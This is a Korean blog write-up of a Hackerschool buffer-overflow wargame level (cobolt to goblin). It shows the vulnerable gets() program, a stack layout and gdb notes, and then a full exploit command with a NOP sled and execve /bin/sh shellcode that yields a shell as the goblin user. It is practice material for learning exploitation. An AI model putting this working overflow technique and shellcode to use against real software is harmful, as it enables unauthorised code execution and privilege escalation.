이번 실험은 작은 버퍼에 입출력으로 문자열을 받고 있다. 소스코드를 보자
[cobolt@localhost .izayoi]$ cat goblin.c int main() { char buffer[16]; gets(buffer); printf("%s\n", buffer); } |
버퍼의 크기는 여전히 16이다. 그리고 gets를 이용해서 문자열을 박고 그것을 출력하는 프로그램이다.
2번 문제의 방법을 이용하고 싶지만 왜 에러나는지 모르기에 다른 방법을 쓰려고 한다.
int main()이라고 해서 인자값을 못받을거 같은데 실제적으로는 인자값은 받아서 메모리 안에 존재하게 된다.
이를 이용해서 문제를 풀 생각이다.
[stack] [sfp] [ret] [argc] [argv] [env]
"a"x20 "argv주소값" "\x90"x100+shellcode
[cobolt@localhost .izayoi]$ gdb -q goblin Breakpoint 1, 0x8048407 in main () |
"a"값을 24개 넣고 자리에 들어가는 것을 확인한 뒤에 \x90의 위치를 찾아보았다.
ret이 가르칠 주소만 신경써보면 약 bffffc0c정도즈음에 주소값을 때린다면 쉘코드가 실행될거같은 느낌이 든다.
아마 공격구문은
(perl -e 'print "\x0c\xfc\xff\xbf"x6';cat)|./goblin `perl -e 'print "\x90"x100,"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`
이런식이겠지.
[cobolt@localhost cobolt]$ (perl -e 'print "\x0c\xfc\xff\xbf"x6';cat)|./goblin `perl -e 'print "\x90"x100,"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'` id üÿ¿ üÿ¿ üÿ¿ üÿ¿ üÿ¿ üÿ¿id id uid=502(cobolt) gid=502(cobolt) euid=503(goblin) egid=503(goblin) groups=502(cobolt) my-pass euid = 503 hackers proof |
중간에 입출력함수때문인지 글자를 쳐줘야 sh쉘이 떨어지는 것을 확인할 수 있었다.
졸려...
'MyStudy > BOF원정대' 카테고리의 다른 글
hackerschool bof 원정대 wolfman -> darkelf (0) | 2012.01.18 |
---|---|
hackerschool bof 원정대 orc -> wolfman (0) | 2012.01.18 |
hackerschool bof 원정대 goblin -> orc (0) | 2012.01.18 |
hackerschool bof 원정대 gremlin -> cobolt (0) | 2012.01.17 |
hackerschool bof 원정대 gate -> gremlin (0) | 2012.01.17 |